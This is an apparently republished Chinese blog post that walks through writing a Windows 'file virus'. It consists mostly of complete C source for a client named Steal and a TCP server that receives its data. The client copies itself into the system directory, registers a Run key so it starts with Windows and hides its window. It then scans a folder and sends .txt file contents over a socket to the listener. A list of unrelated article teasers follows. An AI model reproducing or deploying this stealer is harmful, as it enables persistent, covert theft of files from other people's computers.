WIN下的文件病毒

news2024/9/9 0:45:51

文件病毒

  • 一.windows下知识
    • 句柄
    • 禁用某些警告
    • MAX_PATH
    • _WIN32_FIND_DATAW
    • FindFirstFileW
    • 注册到服务代码(自启动)
    • 隐藏窗口
  • 二.客户端代码
  • 三.服务端代码


一.windows下知识

句柄

相当于指针,用来表示windows下的一些对象;

禁用某些警告

在这里插入图片描述

MAX_PATH

windows下的路径数据变量;

_WIN32_FIND_DATAW

typedef struct
_WIN32_FIND_DATAW {
DWORD dwFileAttributes;//属性
FILETIME ftCreationTime;//创建时间
FILETIME ftLastAccessTime;//最后访问时间
FILETIME ftLastWriteTime;//最后写入时间
DWORD nFileSizeHigh;//文件大小的高位
DWORD nFileSizeLow;//文件大小的低位
DWORD dwReserved0;//保留字段
DWORD dwReserved1;//保留字段
_Field_z_ WCHAR cFileName[MAX_PATH ];//文件名
_Field_z_ WCHAR cAlternateFileName[ 14 ];//修改后的文件名
}

FindFirstFileW

FindFirstFileW(
    _In_ LPCWSTR lpFileName,
    _Out_ LPWIN32_FIND_DATAW lpFindFileData
    );

注册到服务代码(自启动)

#include<io.h>
void AddToSystem()
{
	HKEY hKEY;
	char CurrentPath[MAX_PATH];
	char SysPath[MAX_PATH];
	long ret = 0;
	LPSTR FileNewName;
	LPSTR FileCurrentName;
	DWORD type =REG_SZ;
	DWORD size =MAX_PATH;
	LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //regedit
	GetSystemDirectory(SysPath, size);
	GetModuleFileName(NULL, CurrentPath, size);
	//Copy File
	FileCurrentName = CurrentPath;
	FileNewName =lstrcat(SysPath, "\\Steal.exe");
	struct _finddata_t Steal;
	printf("ret1 = %d,FileNewName = %s\n", ret, FileNewName);
	if (_findfirst(FileNewName, &Steal) != -1)
		return;//已经安装!
	printf("ret2 = %d\n", ret);
	int ihow =
		MessageBox(0, "该程序只允许用于合法的用途!\n 继续运行该程序将使这台机器处于被监控的状态!\n 如果您不想这样,请按“取消”按钮退出。\n 按下“是”按钮该程序将被复制到您的机器上,并随系统启动自动运行。\n 按下“否”按钮,程序只运行一次,不会在您的系统内留下任何东西。", "警告",
			MB_YESNOCANCEL |
			MB_ICONWARNING |
			MB_TOPMOST);
	if (ihow ==
		IDCANCEL)
		exit(0);
	if (ihow ==
		IDNO)
		return;//只运行一次
		//复制文件
	ret =CopyFile(FileCurrentName, FileNewName,TRUE);
	if (!ret)
	{
		return;
	}
	//加入注册表
	printf("ret = %d\n", ret);
	//打开注册表
	ret =RegOpenKeyEx(	HKEY_LOCAL_MACHINE, Rgspath, 0,KEY_WRITE, &hKEY);
	if (ret !=ERROR_SUCCESS)
	{
		RegCloseKey(hKEY);
		return;
	}
	//Set Key
	ret =RegSetValueEx(hKEY, "Steal",NULL, type, (const unsigned char*)FileNewName,size);
	if (ret !=
		ERROR_SUCCESS)
	{
		RegCloseKey(hKEY);
		return;
	}
	RegCloseKey(hKEY);
}

隐藏窗口

void Hide() {
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, SW_HIDE);
}

二.客户端代码

#include<stdio.h>
#include<Windows.h>
#include<io.h>
#pragma comment(lib,"ws2_32.lib")
int SendtoServer(const char* mypath) {
	printf("TCP Client\n");
	//初始化网络库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	char sendBuf[1024] = {0};
	FILE* fp = fopen(mypath, "rb");
	int len = fread(sendBuf, 1, 1024, fp);
	fclose(fp);
	wVersionRequested = MAKEWORD(1, 1);
	// 初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
		return err;
	}
	if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
	{
		WSACleanup();
		return -1;
	}
	//创建套接字
	printf("create socket\n");
	SOCKET sockCli = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (sockCli == INVALID_SOCKET) {
		printf("create socket error: %d\n", GetLastError());
		return -1;
	}
	//配置要连接的服务器
	SOCKADDR_IN addsrv;
	addsrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	addsrv.sin_family = AF_INET;
	addsrv.sin_port = htons(6000);
	//连接服务器

	if (connect(sockCli, (SOCKADDR*)&addsrv, sizeof(addsrv)) == SOCKET_ERROR) {
		printf("connect error = %d \n", GetLastError());
	}
	//收发数据

	

	int iLen = send(sockCli, (char*)sendBuf, 100, 0);
	//char recvBuf[100] = { 0 };

	//iLen = recv(sockCli, recvBuf, 100, 0);

	closesocket(sockCli);
	WSACleanup();


	return 0;
}
int DoSteal(const char* szPath) {
	//1遍历szPath下的所有文件
	WIN32_FIND_DATA FindFileData;
	HANDLE hListFile;//文件句柄
	char szFilePath[MAX_PATH] = {0};
	strcpy(szFilePath, szPath);
	strcat(szFilePath, "\\*");
	//2.首先找到第一个文件
	hListFile=FindFirstFile(szFilePath,&FindFileData);
	//3.循环遍历所有文件
	do {
		char myPath[MAX_PATH] = { 0 };
		strcpy(myPath, szPath);
		strcpy(myPath, szPath);

		strcat(myPath, FindFileData.cFileName);
		if (strstr(myPath,"txt")) {
			SendtoServer(myPath);

		}
		printf("%s\n",myPath);

	} while (FindNextFile(hListFile, &FindFileData));
	return 0;
}
void Hide() {
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, SW_HIDE);
}
void AddToSystem()
{
	HKEY hKEY;
	char CurrentPath[MAX_PATH];
	char SysPath[MAX_PATH];
	long ret = 0;
	LPSTR FileNewName;
	LPSTR FileCurrentName;
	DWORD type =REG_SZ;
	DWORD size =MAX_PATH;
	LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //regedit
	GetSystemDirectory(SysPath, size);
	GetModuleFileName(NULL, CurrentPath, size);
	//Copy File
	FileCurrentName = CurrentPath;
	FileNewName =lstrcat(SysPath, "\\Steal.exe");
	struct _finddata_t Steal;
	printf("ret1 = %d,FileNewName = %s\n", ret, FileNewName);
	if (_findfirst(FileNewName, &Steal) != -1)
		return;//已经安装!
	printf("ret2 = %d\n", ret);
	int ihow =
		MessageBox(0, "该程序只允许用于合法的用途!\n 继续运行该程序将使这台机器处于被监控的状态!\n 如果您不想这样,请按“取消”按钮退出。\n 按下“是”按钮该程序将被复制到您的机器上,并随系统启动自动运行。\n 按下“否”按钮,程序只运行一次,不会在您的系统内留下任何东西。", "警告",
			MB_YESNOCANCEL |
			MB_ICONWARNING |
			MB_TOPMOST);
	if (ihow ==
		IDCANCEL)
		exit(0);
	if (ihow ==
		IDNO)
		return;//只运行一次
		//复制文件
	ret =CopyFile(FileCurrentName, FileNewName,TRUE);
	if (!ret)
	{
		return;
	}
	//加入注册表
	printf("ret = %d\n", ret);
	//打开注册表
	ret =RegOpenKeyEx(	HKEY_LOCAL_MACHINE, Rgspath, 0,KEY_WRITE, &hKEY);
	if (ret !=ERROR_SUCCESS)
	{
		RegCloseKey(hKEY);
		return;
	}
	//Set Key
	ret =RegSetValueEx(hKEY, "Steal",NULL, type, (const unsigned char*)FileNewName,size);
	if (ret !=
		ERROR_SUCCESS)
	{
		RegCloseKey(hKEY);
		return;
	}
	RegCloseKey(hKEY);
}

int main() {
	printf("Steal\n");
	AddToSystem();
	Hide();
	DoSteal("D:\\file\\");
	system("pause");
}

三.服务端代码

#include<Windows.h>
#include<iostream>
using namespace std;
#define MAX_SIZE 1024
#pragma comment(lib,"ws2_32.lib")
void ErreorHanding(const char*msg){
	fputs(msg, stderr);
	fputs("\n", stderr);
	system("pause");
	exit(-1);
}
int main() {
	cout << "server" << endl;
	//初始化网络库
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;	
	wVersionRequested = MAKEWORD(1, 1);
	
	// 初始化套接字库
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
		ErreorHanding("WSAStartup error");
	}
	if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
	{
		ErreorHanding("LOBYTE error");
		WSACleanup();
		return -1;
	}
	//创建套接字
	char msg[MAX_SIZE] = { 0 };
	SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
	if (sock == INVALID_SOCKET) {
		ErreorHanding("socket error");
	}
	SOCKADDR_IN addr;
	addr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	addr.sin_port = htons(6000);
	addr.sin_family = AF_INET;
	if (bind(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR)) == SOCKET_ERROR) {
		ErreorHanding("bind error");
	}
	if (SOCKET_ERROR == listen(sock, 6)) {
		ErreorHanding("listen error");
	}
	SOCKADDR_IN addrCli;
	int cliAddrSize = sizeof(SOCKADDR_IN);
	SOCKET cliSock;
	int Len;
	while(true){
		cliSock = accept(sock, (SOCKADDR*)&addrCli, &cliAddrSize);
		if (SOCKET_ERROR == cliSock) {
			ErreorHanding("accept error");
			
		}
		while (Len = recv(cliSock, msg, MAX_SIZE, 0) != 0) {
			printf("Server msg = %s\n", msg);
		}
		closesocket(cliSock);
	}


}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1958609.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue3中使用ant-design-vue

ant-design-vue官网&#xff1a;Ant Design Vue — An enterprise-class UI components based on Ant Design and Vue.jsAn enterprise-class UI components based on Ant Design and Vuehttps://www.antdv.com/components/overview-cn/ 安装 npm i -S ant-design-vue 引入 …

前端实现【 批量任务调度管理器 】demo优化

一、前提介绍 我在前文实现过一个【批量任务调度管理器】的 demo&#xff0c;能实现简单的任务批量并发分组&#xff0c;过滤等操作。但是还有很多优化空间&#xff0c;所以查找一些优化的库&#xff0c; 主要想优化两个方面&#xff0c; 上篇提到的&#xff1a; 针对 3&…

“数说”巴黎奥运会上的“中国智造”成果

引言&#xff1a;随着“中国智造”在欧洲杯上方兴未艾&#xff0c;在巴黎奥运会上&#xff0c;中国智造继续以多种形式和领域展现了其强大的实力和创新能力。以格力公开表示将为巴黎奥运村提供345台格力空调&#xff0c;为中国制造的清凉送至巴黎事件拉开中国制造闪亮巴黎奥运会…

CTF Web SQL注入 10000字详解

这里写目录标题 涉及的数据库知识unionorder bydatabase()information_schemalimit--空格注释replaceinto outfilelikeGROUP BYHAVINGGROUP BY、HAVING、WHERE之间的关系regexp 原理信息收集操作系统数据库判断注入点注入点类型POST注入数字型注入字符型注入搜索型注入Insert/u…

Debian12 安装Docker 用 Docker Compose 部署WordPress

服务器准备&#xff1a; 以root账号登录&#xff0c;如果不是root&#xff0c;后面指令需要加sudo apt update apt install apt-transport-https ca-certificates curl gnupg lsb-release添加GPG密钥&#xff0c;推荐国内源 curl -fsSL https://mirrors.aliyun.com/docker…

ArchLinux部署waydroid

在Arch Linux系统上部署Waydroid运行Android APP 文章目录 在Arch Linux系统上部署Waydroid运行Android APP1. 安装要求2. 本机环境3. 安装 Waydroid4. 网络配置5.注册Google设备6. 运行效果图 Waydroid是Anbox配合Haliun技术开发的LXC Android容器&#xff0c;可在GUN/Linux系…

C语言中的指针基础

文章目录 &#x1f34a;自我介绍&#x1f34a;地址&#x1f34a;C语言中的指针 你的点赞评论就是对博主最大的鼓励 当然喜欢的小伙伴可以&#xff1a;点赞关注评论收藏&#xff08;一键四连&#xff09;哦~ &#x1f34a;自我介绍 Hello,大家好&#xff0c;我是小珑也要变强&am…

Spring Boot 3 + Resilience4j 简单入门 + Redis Cache 整合

1. 项目结构 2. Maven依赖 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>3.1.2</version><relativePath/> <!-- lookup parent from repository --&…

CSRF Token 原理

CSRF 攻击 CSRF 攻击成功的关键是&#xff0c;恶意网站让浏览器自动发起一个请求&#xff0c;这个请求会自动携带 cookie &#xff0c;正常网站拿到 cookie 后会认为这是正常用户&#xff0c;就允许请求。 防范 如果在请求中加一个字段&#xff08;CSRF Token&#xff09;&am…

C++笔记之指针基础

函数重载:(C++特性) 定义: C++允许函数重名,但是参数列表要有区分 在相同的作用域定义同名的函数,但是它们的参数要有所区分,这样的多个函数构成重载关系 objdump -d test.exe >log.txt 将test.exe反汇编并将结果重定向到log.txt 文件中 ,然后在 log.txt中找到定…

学习网络安全 为什么Linux首择Kali Linux? 以及如何正确的使用Kali Linux

1.什么是kali linux&#xff1f; Kali Linux是一款基于Debian的Linux发行版&#xff0c;主要用于网络安全测试和渗透测试。它由全球顶尖的安全专家和黑客社区维护开发&#xff0c;提供了丰富的工具和资源&#xff0c;用于测试安全性、漏洞利用和渗透测试。此外&#xff0c;Kal…

MySQL 性能调优

文章目录 一. MySQL调优金字塔1. 架构调优2. MySQL调优3. 硬件和OS调优4. 小结 二. 查询性能调优三. 慢查询1. 概念2. 优化数据访问3. 请求了不需要数据&#xff0c;怎么做4. 是否在扫描额外的记录5. 慢查询相关配置 & 日志位置6. 小结 四. 查询优化器五. 实现调优手段 一.…

24、Python之面向对象:责任与自由,私有属性真的有必要吗

引言 前面我们进一步介绍了类定义中属性的使用&#xff0c;今天我们对中关于属性私有化的话题稍微展开聊一下&#xff0c;顺便稍微理解一下Python设计的相关理念。 访问级别 在其他编程语言中&#xff0c;比如Java&#xff0c;关于类中的属性和方法通过关键字定义明确的访问级…

1、仓颉工程基础操作 cjpm

文章目录 1. 仓颉工程创建方式2. cjpm2.1 init 初始化工程2.2 run 运行工程 1. 仓颉工程创建方式 使用 cangjie studio 通过cangjie studio 创建 使用vscode插件 通过 VSCode 命令面板创建仓颉工程通过可视化界面创建仓颉工程 cjpm 注&#xff1a;具体使用参考官方文档&#…

探索分布式光伏运维系统的组成 需要几步呢?

前言 随着光伏发电的不断发展&#xff0c;对于光伏发电监控系统的需求也日益迫切&#xff0c;“互联网”时代&#xff0c;“互联网”的理念已经转化为科技生产的动力&#xff0c;促进了产业的升级发展&#xff0c;本文结合“互联网”技术提出了一种针对分散光伏发电站运行数据…

浅谈Devops

1.什么是Devops DevopsDev&#xff08;Development&#xff09;Ops&#xff08;Operation&#xff09; DevOps&#xff08;Development和Operations的混合词&#xff09;是一种重视“软件开发人员&#xff08;Dev&#xff09;”和“IT运维技术人员&#xff08;Ops&#xff09;”…

asp.net mvc 三层架构开发商城系统需要前台页面代完善

一般会后端开发&#xff0c;都不太想写前台界面&#xff0c;这套系统做完本来想开源&#xff0c;需要前台界面&#xff0c;后台已开发&#xff0c;有需求的朋友&#xff0c;可以开发个前端界面完善一下&#xff0c;有的话可以私聊发给我啊

The Llama 3 Herd of Models 第6部分推理部分全文

第1,2,3部分 介绍,概览和预训练 第4部分 后训练 第5部分 结果 6 Inference 推理 我们研究了两种主要技术来提高Llama 3405b模型的推理效率:(1)管道并行化和(2)FP8量化。我们已经公开发布了FP8量化的实现。 6.1 Pipeline Parallelism 管道并行 当使用BF16数字表示模型参数时…

VirtualBox创建共享磁盘

VirtualBox创建共享磁盘 目录 VirtualBox创建共享磁盘1、划分共享磁盘1.1、【管理】->【工具】->【虚拟介质管理】1.2、【创建】->【VDI&#xff08;VirtualBox 磁盘映像&#xff09;】->【下一步】1.3、【预先分配全部空间】->【下一步】1.4、【分配大小】->…

5、springboot3 vue3开发平台-后端- satoken 整合

文章目录 1. 为什么使用sa-token2. 依赖导入jichu2.1 基础依赖引入2.2 redis整合2.3 redis 配置&#xff0c; 使redis能支持中文存储 3. 配置4. 配置使用4.1 权限加载接口实现&#xff0c; 登录实现4.2 配置全局过滤器4.3 登录异常处理 5. 登录测试6. 用户session的获取 1. 为什…